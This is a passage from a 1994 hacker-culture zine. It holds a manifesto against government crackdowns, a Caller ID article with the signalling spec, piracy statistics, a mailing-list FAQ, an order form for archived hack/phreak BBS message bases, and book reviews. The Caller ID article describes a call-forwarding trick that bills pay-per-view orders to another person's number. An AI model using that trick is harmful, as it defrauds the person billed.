greatest examples of the power of freedom and democracy. Most of Cyberspace was not created by businesses looking for profit, or by governments looking for more efficient control, but mainly by ordinary citizens looking for a medium through which they could communicate with others, and express their thoughts and ideas. The computerized telecommunications used by the electronic community is a medium unlike any that has ever existed. It is a decentralized, mostly uncensored, and public forum for open discussion on a world wide basis. It provides ordinary citizens with the ability to express their ideas to anyone willing to listen, with no economic or social barriers and no prejudgments. It gives everyone in the world access to all the knowledge and information the world has to offer. It has continually shattered deeply ingrained social prejudices concerning characteristics such as age, race, wealth, and sex. In fact, it is common to find 14 year olds arguing philosophy with 41 year olds on America's computer networks!

However, instead of embracing this great tool of freedom, the United States Government has reacted to it with fear and ignorance. They have completely ignored the positive effects the existence of this resource is already having on society. In fact, they have done little, if anything, to even gain an understanding of the electronic community and it's citizens. They have thought only of the damage that could be wrought if access to this kind of knowledge and information fell into the "wrong hands." They have labeled everyone in the electronic community a potential criminal, and have cracked down on any kind of activity which has not met their standards. In doing so they have crushed the free flow of ideas, trampled on the constitution, and blatantly encroached upon the civil rights of the people living and working on American's computer networks. They have chosen safety above freedom, and in doing so they have threatened the existence of one of the most important social developments of the twentieth century...

They have ensued upon a Campaign of Terror, using fear to control and oppress the Electronic Community.

They have openly and blatantly violated local, state, and federal law, and internationally accepted standards for human rights.

They have used misinformation to set certain areas of the electronic community off against one another, or to label certain areas as criminal, while they have attacked the entire community without regard to action or position.

They have lied to the press, to themselves, and to the American people in order to keep their actions unquestioned.

They have imposed taxes and tariffs and have priced public utilities with the specific intent of effecting a chill upon the free flow of thoughts and ideas.

They have used technology to amass enormous amounts of information on innocent citizens in order to control and oppress them. They have judged the interests of private industry to be more important than the interests of the general population.

They have attacked innocent citizens in order to increase the profits of certain industries.

They have declared themselves immune from the legal and moral standards they expect from the rest of society.

They have, on a regular basis, committed the very acts they have called criminal.

They have tried to criminalize personal privacy while belligerently defending the privacy of businesses and of government.

They have attempted to control the minds of the American people by criminalizing certain knowledge and information.

They have prevented the preparation of thoughts and ideas for public dissemination.

They have threatened innocent citizens with loss of their right to life, liberty, property, and the pursuit of happiness in order to control their thoughts, opinions, and actions.

They have repeatedly made laws and taken legal action in areas and/or concerning subjects of which they have little or no understanding. They have seized, damaged, and destroyed the property of innocent citizens. They have wrongly imprisoned citizens based on questionable information for actions which are negligible and, at worst, legally gray. They have directly attacked innocent citizens in order to keep them from publicly assembling.

They have spied on and attempted to interfere with the private communications of innocent citizens.

They have made unreasonable and excessive searches and seizures. They have punished innocent citizens without trial.

They have attempted to effect a chill on the free flow of thoughts and ideas.

They have affected to render the government independent of and superior to the people.

We cannot, we WILL not, allow this tyranny to continue! The United States Government has ignored the voice of the Electronic Community long enough! When we told the government that what they were doing was wrong, they refused to listen! When we formed political action groups to bring our cases to court and before Congress, we were told that we were using loopholes in the law to get away with crime!!! We have, in a peaceful and respectful manner, given our government more than reasonable petition for redress of our grievances, but if anything the situation has gotten worse! Government administrations use computer crime as a weapon in internal battles over jurisdiction. Government officials, who have only the slightest understanding of computer science, use computer crime as a tool for career success. Elected Representatives, who have absolutely no understanding of computers, use "information superhighways", computer crime, and cryptography to gain constituent money and voter support! The Electronic Community, the only group who fully understands the issues involved here, and the only group who is effected by the decisions being made, has been completely ignored! We have sat around and discussed these wrongs long enough! NOW IS THE TIME TO STAND UP AND DEMAND A REDRESS OF OUR GRIEVANCES BY ANY AND ALL MEANS AVAILABLE! We must scream the truth so loudly that we drown out everything else! We must save our small community from destruction so that when the rest of society is ready, the world will still have a forum for free speech and open communication. We must demand freedom for America's Electronic Community!!!

Tom Cross AKA The White Ninja

TWN615@Phantom.Com

NOTE: Redistribution and further publishing of this document is highly encouraged as long as proper credit is given.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ "Government is not a reason, not an eloquence;

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ it is a force. Like fire, it is a dangerous ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ * * * * * servant and a fearful master." ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ * * * * *

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ * * * * * George Washington

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ * * * * *

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

THE JOURNAL OF AMERICAN UNDERGROUND COMPUTING / Published Quarterly

======================================

ISSN 1074‑3111 Technology, Conspiracy, Editorials, Politics, Networking

======================================

Editor‑in‑Chief: Scott Davis

NetSurfer: John Logan

It's A Conspiracy!: Gordon Fagan

E‑Mail ‑ editors@fennec.com

** ftp site: etext.archive.umich.edu /pub/Zines/JAUC

U.S. Mail:

The Journal Of American Underground Computing

10111 N. Lamar #25

Austin, Texas 78753

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

To Subscribe to "TJOAUC", send mail to: sub@fennec.com All questions/comments about this publication to: comments@fennec.com Send all articles/info that you want published to: submit@fennec.com Commercial Registration for Profitable Media: form1@fennec.com

"The underground press serves as the only effective counter to a growing power, and more sophisticated techniques used by establishment mass media to falsify, misrepresent, misquote, rule out of consideration as a priori ridiculous, or simply ignore and blot out of existence: data, books, discoveries that they consider prejudicial to establishment interest..."

(William S. Burroughs and Daniel Odier, "The Job", Viking, New York, 1989)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

New TimeWasters T‑shirts !

Do you know the feeling ? You're behind your terminal for hours, browsing the directories of your school's UNIX system. Instead of holes, bugs and bad file permissions you find tripwire, TCPwrapper and s/key. You run a file with a s‑bit and immediately you get a mail from the system admin asking what you are doing. In other words, no chance to ever become a good hacker there.

Now you have the chance to at least pretend to be an eleet hacker. The Dutch hacking fanatics The TimeWasters have released the third version of their cool 'hacker' T‑shirt. Because

the previous versions were too limited (20 and 25 shirts) we printed no less than 200 shirts this time.

Of course you want to know, what does it look like ?

On the front, a TimeWasters logo in color. Below that a picture of two hacking dudes, hanging behind their equipment, also featuring a stack of phracks, pizza boxes, beer, kodez, and various computer‑related stuff with a 'No WsWietse' sticker.

On the back, the original TimeWasters logo with the broken

clock. Below it, four original and dead funny real quotes featuring the art of Time Wasting.

Wearing this shirt can only provoke one reaction; WOW !

Imagine going up to the helpdesk wearing this shirt and

keeping a straight face while asking a security question !

And for just $2 more you'll get a pair of sunglasses with

the text 'TimeWasters' on them !

To order:

Send $20 or $22 to

TimeWasters

Postbus 402

5611 AK Eindhoven

The Netherlands, Europe

This includes shipping. Please allow some time for delivery. If you are in Holland, don't send US$, email the address below for the price in guilders and our 'postbank' number.

For more information: email to:

‑ timewasters‑request@win.tue.nl with subject: T‑SHIRT for a txtfile with more info.

‑ rob@hacktic.nl or gigawalt@win.tue.nl for questions.

Written by Rob J. Nauta, rob@hacktic.nl dd. 8 mar 1994

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Caller ID Technical Details

by Hyperborean Menace

The way Caller ID works internally is through SS7 (Signalling System 7) messages between telephone switches equipped to handle SS7. These messages pass all the call information (block/no block, calling number, etc.). The calling number is sent as part of the SS7 call setup data on all SS7 routed calls (i.e. all calls carried between switches that are SS7 connected).

The calling number is sent between switches always, regardless of whether or not *67 (Caller ID Block) is dialed. It just sends along a privacy indicator if you dial *67, and then the final switch in the path will send a "P" instead of the calling number to the Caller ID box. (But it will still store the actual number ‑ *69 will work whether or not the caller dialed *67). What the final switch along the path does with the calling number depends on how the switch is configured. If you are not paying for Caller ID service, the switch is configured so that it will not transmit the Caller ID data.

This is entirely separate from Automatic Number Identification, which is sent along SS7 where SS7 is available, but can also be sent using other methods, so that ALL switches (for many years now) have been able to send ANI (which is what Long Distance companies used to know who to bill). Enhanced 911 is NOT based on Caller ID, but on ANI, thus, it will work for anyone, not just people connected to SS7 capable switches. And, of course, *67 will have no effect on Enhanced 911 either.

Also interesting is the effect call forwarding has on the various services. Say I have my home telephone forwarded to Lunatic Labs, and it has Caller ID. If you call me, the call will forward to Lunatic Labs, and its Caller ID box will show YOUR number, not mine (since your line is the actual one making the call).

However, ANI is based on the Billing Number (who is paying for the call (or would pay if it weren't free), not on who is actually making the call. Thus, if I forward my telephone to an 800 Number that gets ANI (such as the cable pay‑per‑view order number), and you call me, they will get MY number (since I would be the one paying for that portion of the call, except that 800 Numbers are free), and you will end up ordering pay‑per‑view for me...

CNID (Caller ID) Technical Specifications

PARAMETERS

The data signalling interface has the following characteristics: Link Type: 2‑wire, simplex

Transmission Scheme: Analog, phase‑coherent FSK Logical 1 (mark) 1200 +/‑ 12 Hz

Logical 0 (space) 2200 +/‑ 22 Hz Transmission Rate: 1200 bps

Transmission Level: 13.5 +/‑ dBm into 900 ohm load

(I have copied this data as presented. I believe the transmission level is meant to be ‑13.5 dBm.)

[It is indeed ‑13.5 dBm]

PROTOCOL

The protocol uses 8‑bit data words (bytes), each bounded by a start bit and a stop bit. The CND message uses the Single Data Message format shown below.

[ I belive this is the same as standard asynchronous serial ‑ I think the start bit is a "space", and the stop bit is a "mark" ]

Channel Carrier Message Message Data Checksum

Seizure Signal Type Length Word(s) Word

Signal Word Word

CHANNEL SEIZURE SIGNAL

The channel seizure is 30 continuous bytes of 55h (01010101) providing a detectable alternating function to the CPE (i.e. the modem data pump).

[CPE = Customer Premises Equipment ‑‑i.e. your Caller ID Box]

CARRIER SIGNAL

The carrier signal consists of 130 +/‑ 25 mS of mark (1200 Hz) to condition the receiver for data.

MESSAGE TYPE WORD

The message type word indicates the service and capability associated with the data message. The message type word for CND is 04h (00000100).

MESSAGE LENGTH WORD

The message length word specifies the total number of data words to follow.

DATA WORDS

The data words are encoded in ASCII and represent the following information:

o The first two words represent the month

o The next two words represent the day of the month

o The next two words represent the hour in local military time o The next two words represent the minute after the hour

o The calling party's directory number is represented by the remaining words in the data word field

If the calling party's directory number is not available to the terminating central office, the data word field contains an ASCII "O". If the calling party invokes the privacy capability, the data word field contains an ASCII "P".

[ Note that 'O' will generally result in the Caller‑ID box displaying "Out Of Area" indicating that somewhere along the path the call took from its source to its destination, there was a connection that did not pass the Caller ID data. Generally, anything out of Southwestern Bell's area will certainly generate a 'O', and some areas in SWB territory might also not have the SS7 connections required for Caller ID]

CHECKSUM WORD

The Checksum Word contains the twos complement of the modulo 256 sum of the other words in the data message (i.e., message type, message length, and data words). The receiving equipment may calculate the modulo 256 sum of the received words and add this sum to the received checksum word. A result of zero generally indicates that the message was correctly received. Message retransmission is not supported.

EXAMPLE CND SINGLE DATA MESSAGE

An example of a received CND message, beginning with the message type word, follows:

04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51

04h= Calling number delivery information code (message type word) 12h= 18 decimal; Number of data words (date, time, and directory number words)

ASCII 30,39= 09; September

ASCII 33,30= 30; 30th day

ASCII 31,32= 12; 12:00 PM

ASCII 32,34= 24; 24 minutes (i.e., 12:24 PM)

ASCII 36,30,39,35,35,35,31,32,31,32= (609) 555‑1212; calling party's directory number

51h= Checksum Word

[ There is also a Caller Name service that will transmit the number and the name of the caller. The basic specs are the same as just numbers, but more data is transmitted. I don't have the details of the data stream for that.]

DATA ACCESS ARRANGEMENT (DAA) REQUIREMENTS

To receive CND information, the modem monitors the phone line between the first and second ring bursts without causing the DAA to go off hook in the conventional sense, which would inhibit the transmission of CND by the local central office. A simple modification to an existing DAA circuit easily accomplishes the task.

[i.e. The Caller‑ID Device should present a high impedance to the line]

MODEM REQUIREMENTS

Although the data signalling interface parameters match those of a Bell 202 modem, the receiving CPE need not be a Bell 202 modem. A V.23 1200 bps modem receiver may be used to demodulate the Bell 202 signal. The ring indicate bit (RI) may be used on a modem to indicate when to monitor the phone line for CND information. After the RI bit sets, indicating the first ring burst, the host waits for the RI bit to reset. The host then configures the modem to monitor the phone line for CND information.

According to Bellcore specifications, CND signalling starts as early as 300 mS after the first ring burst and ends at least 475 mS before the second ring burst.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Country Percentage of Piracy

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Australia / New Zealand 45%

Benelux 66

France 73

Germany 62

Italy 86

Japan 92

Korea 82

Singapore 41

Spain 86

Sweden 60

Taiwan ( 1990 ) 93

Thailand 99

United Kingdom 54

United States 35

Source: Business Software Alliance, based on 1992 h/w & s/w shipping figures

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Frog Farm Mailing List FAQ v1.1

January 20th, 1994

1. What is this I am reading?

2. What is the Frog Farm?

3. Okay, so what's the Frog Farm mailing list?

4. Are there any rules enforced on the mailing list?

5. I can see all the addresses of the subscribers!

6. You must be Nazis. After all, aren't people who hate Jews, blacks, etc., the only people who talk about this sort of thing?

1. What is this I am reading?

This is the FAQ for the Frog Farm mailing list. It is NOT the FAQ for the Frog Farm. The FAQ for the Frog Farm is much larger (just over 100 Kbytes in size).

2. What is the Frog Farm?

Read the FAQ. You can FTP it from etext.archive.umich.edu in the /pub/Legal/FrogFarm directory (also accessible via Gopher). If you do not have FTP access, you may request the FAQ via e‑mail from schirado@lab.cc.wmich.edu.

3. Okay, so what's the Frog Farm mailing list?

frog‑farm@blizzard.lcs.mit.edu is an unmoderated e‑mail forum devoted to the discussion of claiming, exercising and defending Rights in America, past, present and future. Topics include, but are not limited to, conflicts which can arise between a free people and their public servants when said servants exceed the scope of their powers, and possible methods of dealing with such conflicts.

To subscribe to the list, send a message containing the single line:

ADD <your‑preferred‑email‑addr>

to frog‑farm‑request@blizzard.lcs.mit.edu.

To remove your subscription from the forum, send a message containing the single line:

REMOVE <same‑email‑addr‑as‑above>

to frog‑farm‑request@blizzard.lcs.mit.edu.

Note that these commands must be in the BODY of the message; the contents of the Subject line are ignored.

While you are subscribed, send mail to

frog‑farm@blizzard.lcs.mit.edu

to echo your message to all other list subscribers.

4. Are there any rules enforced on the mailing list?

Only two:

1) Do not reveal the e‑mail addresses of any subscribers to any individuals who are not subscribers. You may freely redistribute any article posted to the Frog Farm, subject to whatever conditions the poster may have placed on it. For example, some people attach a notice to their message stating that they are NOT allowing the redistribution of their message under ANY circumstances, some people stipulate that it may be redistributed only if it is unaltered in any way, etc.

2) No flaming is permitted. The list maintainers are the sole judges of what constitutes flaming.

5. I can see all the addresses of the subscribers!

Under normal circumstances, you can't see the names. If you can, you had to work at it; if so, you obviously know what you're doing, and you should have known better. Try not to let your curiosity overwhelm your respect for the privacy of others.

The security on this list is not as tight as it could be,

and it is a trivial process for a knowledgeable hacker or hackers to circumvent it. If you know how to do this, please don't do it.

6. You must be Nazis. After all, aren't people who hate Jews, blacks, etc., the only people who talk about this sort of thing?

Not at all. The official position of the Frog Farm is that every human being, of any sex or race, has "certain inalienable Rights" which may not be violated for any cause or reason. Anyone may claim and exercise Rights in America, providing they possess the necessary courage and mental competence.

The Frog Farm provides a List of Interesting Organizations to its subscribers, which may include organizations or persons who believe in a god or gods, or promote the idea that certain races are inferior or perhaps part of a conspiratorial plot to enslave everyone else. The list maintainers make every effort to note such idiotic beliefs, where they exist, and encourage people not to throw out the baby with the bathwater, but to seek the truth wherever it may be found.

Every individual is unique, and none may be judged by anything other than their words and actions.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The LOD Communications Underground H/P BBS Message Base Project:

Information/Order File: Brief Version

2/17/94

This is a short version of the longer, 35K (12 page) Order/Info file. If you want the full file, sample message file, detailed tables of contents file, etc. you can request it from lodcom@mindvox.phantom.com or choose menu item #5 on the Mindvox Gopher Server by using any gopher and opening a connection with the hostname: mindvox.

The Project:

‑‑‑‑‑‑‑‑‑‑‑‑

Throughout history, physical objects have been preserved for posterity for the benefit of the next generation of humans. Cyberspace, however, isn't very physical; data contained on floppy diskettes has a finite lifetime as does the technology to retrieve that data. The earliest underground hacker bulletin board systems operated at a time when TRS‑80s, Commodore 64s, and Apple ][s were state‑of‑the‑art. Today, it is difficult to find anyone who has one of these machines in operating condition, not to mention the brain cells left to recall how to operate them. :‑(

LOD Communications has created a historical library of the "dark" portion of Cyberspace. The project's goal is to acquire as much information as possible from underground Hack/Phreak (H/P) bulletin boards that were in operation during a decade long period, dating from the beginnings (in 1980/81 with 8BBS and MOM: Modem Over Manhattan) to the legendary OSUNY, Plover‑NET, Legion of Doom!, Metal Shop, etc. up through the Phoenix Project circa 1989/90. Currently, messages from over 75 different BBSes have been retrieved, although very few message bases are 100% complete. However, not having a complete "set" does not diminish their value.

DONATIONS: A portion of every order will be donated to the following causes:

1) A donation will be made to help pay for Craig Neidorf's (Knight Lightning ‑ Metal Shop Private Co‑Sysop) Legal Defense bills (resulting from his successful campaign to protect First Amendment rights for electronic publishing, i.e. the PHRACK/E911 case).

2) The SotMESC Scholarship Fund. The SotMESC Scholarship is awarded to students writing exceptional papers of 20 to 30 pages on a topic based on computer culture (ie, hacking culture, virus writing culture, Internet culture, etc.) For more details write: SotMESC PO BOX 573 Long Beach, MS 39560 or email: rejones@seabass.st.usm.edu

NOTE: THE FIRST DONATIONS TO EACH OF THE ABOVE TWO CAUSES HAVE ALREADY BEEN MADE.

What Each "Message Base File" Contains:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ A two page general message explaining H/P BBS terminology and format.

‑ The BBS Pro‑Phile: A historical background and description of the BBS either written by the original system operator(s) or those who actually called the BBS when it was in operation (it took months to track the appropriate people down and get them to write these specifically for this project; lesser known BBSes may not contain a Pro‑Phile);

‑ Messages posted to the BBS (i.e. the Message Base);

‑ Downloaded Userlists if available; and

‑ Hacking tutorials a.k.a. "G‑Philes" that were on‑line if available.

It is anticipated that most people who are interested in the message bases have never heard of a lot of the BBS names shown in the listing. If you have seen one set of messages, you have NOT seen them ALL. Each system had a unique personality, set of users, and each has something different to offer.

Formats the Message Base Files are Available in:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Due to the large size of the Message Base Files, they will be compressed using the format of your choice. Please note that Lodcom does NOT include the compression/uncompression program (PKZIP, PAK, MAC Stuffit, etc.). ASCII (uncompressed) files will be provided for $5.00 extra to cover additional diskette (files that are uncompressed require more than double the number of diskettes) and shipping costs. The files are available for:

‑ IBM (5.25 or 3.5 inch)

‑ APPLE MACINTOSH (3.5 inch)

‑ ATARI ST (MS‑DOS Compatible 3.5 inch)

‑ AMIGA (3.5 inch)

‑ PAPER versions can be ordered but cost triple (due to increased costs to ship, time to print, and messages being in 40 column format which wastes lots of paper...save those trees!). Paper versions take twice the time to deliver but are laser printed.

Orders are expected to arrive at the requesters' physical mail box in 3‑5 weeks upon receipt of the order.

The Collection:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This is where we currently stand as far as what has been completed and the estimated completion dates for the rest of the project:

Volume 1: 5700+ Messages, 20 H/P BBSes, COMPLETED. Volume 2: 2100+ Messages, 25 H/P BBSes, COMPLETED. Volume 3: 20‑30 H/P BBSes, End of March 1994. Volume 4: ????? H/P BBSes, Sometime after 3/94. All in all there is expected to be 12000+ Messages.

NOTE: Additional material has recently been received for Boards already released in the first 2 volumes. Those who have already ordered will receive the updated versions with the additional messages that have been recovered.

*** Blurbs and Excerpts: ***

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Blurbs from some of those who have received the first two Volumes:

"I am stunned at the quality of this undertaking. It brought back that feeling of involvement and interest." ‑‑P.P.

"I think of the release of the H/P Message Bases as an opening salvo in the battle for the truth about fraud in the Telecom Industry." ‑‑J.J.

"Still sifting through Volume one. For now I've taken the approach of putting all the files into one subdirectory and searching it for topics of interest. Prime and Primos computers was my first topic of interest and Volume I yielded quite a bit of odd and useful information." ‑‑K.B.

"...the professionalism of the Message Bases is of a superior quality. Somehow they bring back that age of innocence. Boy do I miss those times." ‑‑A.C.

Excerpt from 2600 Magazine (The Hacker Quarterly) Autumn 1993 Issue, review by Emmanuel Goldstein entitled NEVER ERASE THE PAST.

"...is this the sort of thing that people really care about? Undoubtedly, many will shrug it off as useless, boring teenagers that have absolutely no relevance to anything in the real world. The fact remains, however, that this is history. This is *our* history, or at least, a small part of it. The boards included in this project ‑ Sherwood Forest I & II, Metal Shop Private, OSUNY, Phoenix Project, and a host of others ‑ are among the more interesting hacker boards, with some classic dialogue and a gang of hacker stars‑to‑be. Nearly all of these boards were raided at one time or another, which makes it all even more fascinating."

"Had the LODCOM project not come along when it did, a great many of these message bases probably would have been lost forever. Providing this service to both the hacker community and those interested in it is a noble cause that is well worth the price. If it succeeds, some valuable hacker data will be preserved for future generations."

The Lodcom project was also reviewed in Computer underground Digest Issue #5.39 and will be reviewed by GRAY AREAS MAGAZINE in their summer issue. You should be able to find the issue on most newsstands in about 3 months. You can contact Gray Areas by phone: 215‑353‑8238 (A machine screens their calls), by email: grayarea@well.sf.ca.us, and by regular mail: Gray Areas, Inc. , PO BOX 808, Broomall, PA 19008‑0808. Subscriptions are $18.00 a year U.S. and we highly recommend the magazine if you are interested in the gray areas of life.

*** {End of Blurbs and Excerpts} ***

Volume 1 & 2 Table of Contents:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A detailed Table of Contents file can be found on the Mindvox Gopher Server or requested via email.

Project Contributor List:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The following is a list (order is random) of those who helped with this effort that began in Jan. of 1993. Whether they donated material, uploaded messages, typed messages from printouts, critiqued our various materials, wrote BBS Pro‑Philes, donated services or equipment, or merely 'looked in their attic for some old disks', their help is appreciated:

Lord Digital and Dead Lord (Phantom Access Technologies/The MINDVOX System), 2600 Magazine/Emmanuel Goldstein, The Marauder, Knight Lightning, T.B., Computer underground Digest (CuD)/Jim Thomas/Gordon Meyer, Phrack Magazine, Strat, Jester Sluggo, Erik Bloodaxe, Taran King, Professor Falken, TUC, Lex Luthor, Mark Tabas, Phantom Phreaker, Quasi Moto, The Mechanic, Al Capone, Compu‑Phreak, Dr. Nibblemaster, King Blotto, Randy Hoops, Sir Francis Drake, Digital Logic, The Ronz, Doctor Who, The Jinx, Boca Bandit, Crimson Death, Doc Holiday, The Butler, Ninja Master, Silver Spy, Power Spike, Karl Marx, Blue Archer, Dean Simmons, Control‑C, Bad Subscript, Swamp Ratte, Randy Smith, Terminal Man, SK Erickson, Slave Driver, R.E.Jones/CSP/SotMESC, Gray Areas Magazine, and anonymous others.

The Order Form:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ C U T ‑ H E R E ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

LOD Communications H/P BBS Message Base ORDER FORM

~~~~~~~~~~~~~~~~~~~~~~~~~

PERSONAL RATE: Volumes 1, 2, 3, and possibly a fourth if created: $39.00 This price is TOTAL & includes any updates to individual BBS Message Bases.

COMMERCIAL RATE: Corporations, Universities, Libraries, and Government Agencies: $99.00 As above, price is total and includes updates.

H/P BBS Message Bases (All Volumes): $________

"G‑Phile" Collection (Optional): $____________ ($10.00 Personal)

25.00 Commercial)

Disk Format/Type of Computer: _____________________________________

(Please be sure to specify diskette size [5.25" or 3.5"] and high/low density)

File Archive Method (.ZIP [preferred], .ARJ, .LHZ, .Z, .TAR) ____________ (ASCII [Non‑Compressed] add $5.00 to order)

Texas Residents add 8% Sales Tax.

If outside North America please add $6.00 for Shipping & Handling.

Total Amount (In U.S. Dollars): $ ___________

Payment Method: Check or Money Order please, made out to LOD Communications. Absolutely NO Credit Cards, even if it's yours :‑)

By purchasing these works, the Purchaser agrees to abide by all applicable U.S. Copyright Laws to not distribute or reproduce, electronically or otherwise, in part or in whole, any part of the Work(s) without express written permission from LOD Communications.

Send To:

Name: _____________________________________

Organization: _____________________________________ If applicable)

Street: _____________________________________

City/State/Zip: _____________________________________

Country: _____________________________________

E‑mail address: _____________________________________ If applicable)

PRIVACY NOTICE: The information provided to LOD Communications is used for sending orders and periodic updates to the H/P BBS Message Base Price List. It will NOT be given or sold to any other party. Period.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ C U T ‑ H E R E ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Remit To: LOD Communications

603 W. 13th

Suite 1A‑278

Austin, Texas USA 78701

Lodcom can also be contacted via E‑mail: lodcom@mindvox.phantom.com Voice Mail: 512‑448‑5098

_______________________________________

End Brief Version of Order/Info File (2/20/94)

Email: lodcom@mindvox.phantom.com

Voice Mail: 512‑448‑5098

Snail Mail: LOD Communications

603 W. 13th Suite 1A‑278

Austin, Texas USA 78701

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

BooX for Hackers

=============

by Seven Up

Usually I am not reading too many books. But there are two rather new ones everyone should read and have.

UNIX Power Tools

================

The first one is made for people who like to play with UNIX.

It is called 'UNIX Power Tools', published by Bantam and O'Reilly. It contains over 1000 pages and weighs about 3 pounds, but contains a CD ROM. It contains pretty useful information and examples on how to use standard UNIX utilities and how to solve certain tasks. Some of the topics it covers are:

Encryption of passwords, shell programming, config files for logging in and out, setting shell prompts, vi tips & tricks, redirecting and piping, sed & awk and much more. Like most O'Reilly books, it is written with a lot of humor and easy to read. To me, this book is a reference for almost any question. You might even feel that you don't need most of your old UNIX books anymore, because this book almost covers it all. It is also a lot of fun just to browse through the book randomly and read articles on different subjects. There really is no need and no use to read it from A to Z. A lot of their tricks is collected from Usenet Newsgroups. All of their useful programs, scripts and general PD programs you will find on FTP sites are on the CD. However, if you want a different medium they charge you $40. And now we come to the only problem of the book: the price! I think compared to the contents, charging $59.95 is justified; but it might scare off many people anyway. Finally I would recommend this book to everyone who uses UNIX a lot and likes to experiment and play with it (and has 60 bucks left).

Hacker Crackdown

================

Now reading Bruce's book won't cost you 60 bucks. In fact, it will even be totally FREE! I won't say too much about the book, because there have already been great reviews in Phrack and 2600 in Spring/Summer 1993. It is probably the most interesting and entertaining book about Hackers and Fedz from 1993. But now Bruce decided to release the book as online freeware ‑ you may just grab the 270k file from a site, read it and give it to anyone you want.

But let's listen to Bruce now and what he has to say...

January 1, 1994 ‑‑ Austin, Texas

Hi, I'm Bruce Sterling, the author of this

electronic book.

Out in the traditional world of print, *The

Hacker Crackdown* is ISBN 0‑553‑08058‑X, and is

formally catalogued by the Library of Congress as "1.

Computer crimes ‑‑ United States. 2. Telephone ‑‑

United States ‑‑ Corrupt practices. 3. Programming

(Electronic computers) ‑‑ United States ‑‑ Corrupt

practices." 'Corrupt practices,' I always get a kick out

of that description. Librarians are very ingenious

people.

The paperback is ISBN 0‑553‑56370‑X. If you go

and buy a print version of *The Hacker Crackdown,*

an action I encourage heartily, you may notice that

in the front of the book, beneath the copyright

notice ‑‑ "Copyright (C) 1992 by Bruce Sterling" ‑‑ it

has this little block of printed legal boilerplate from

the publisher. It says, and I quote:

"No part of this book may be reproduced or

transmitted in any form or by any means, electronic

or mechanical, including photocopying, recording,

or by any information storage and retrieval system,

without permission in writing from the publisher.

For information address: Bantam Books."

This is a pretty good disclaimer, as such

disclaimers go. I collect intellectual‑property

disclaimers, and I've seen dozens of them, and this

one is at least pretty straightforward. In this narrow

and particular case, however, it isn't quite accurate.

Bantam Books puts that disclaimer on every book

they publish, but Bantam Books does not, in fact,

own the electronic rights to this book. I do, because

of certain extensive contract maneuvering my

agent and I went through before this book was

written. I want to give those electronic publishing

rights away through certain not‑for‑profit channels,

and I've convinced Bantam that this is a good idea.

Since Bantam has seen fit to peaceably agree to

this scheme of mine, Bantam Books is not going to

fuss about this. Provided you don't try to sell the

book, they are not going to bother you for what you

do with the electronic copy of this book. If you want

to check this out personally, you can ask them;

they're at 1540 Broadway NY NY 10036. However, if

you were so foolish as to print this book and start

retailing it for money in violation of my copyright

and the commercial interests of Bantam Books,

then Bantam, a part of the gigantic Bertelsmann

multinational publishing combine, would roust

some of their heavy‑duty attorneys out of

hibernation and crush you like a bug. This is only to

be expected. I didn't write this book so that you

could make money out of it. If anybody is gonna

make money out of this book, it's gonna be me and

my publisher.

My publisher deserves to make money out of

this book. Not only did the folks at Bantam Books

commission me to write the book, and pay me a

hefty sum to do so, but they bravely printed, in text,

an electronic document the reproduction of which

was once alleged to be a federal felony. Bantam

Books and their numerous attorneys were very

brave and forthright about this book. Furthermore,

my former editor at Bantam Books, Betsy Mitchell,

genuinely cared about this project, and worked hard

on it, and had a lot of wise things to say about the

manuscript. Betsy deserves genuine credit for this

book, credit that editors too rarely get.

The critics were very kind to *The Hacker

Crackdown,* and commercially the book has done

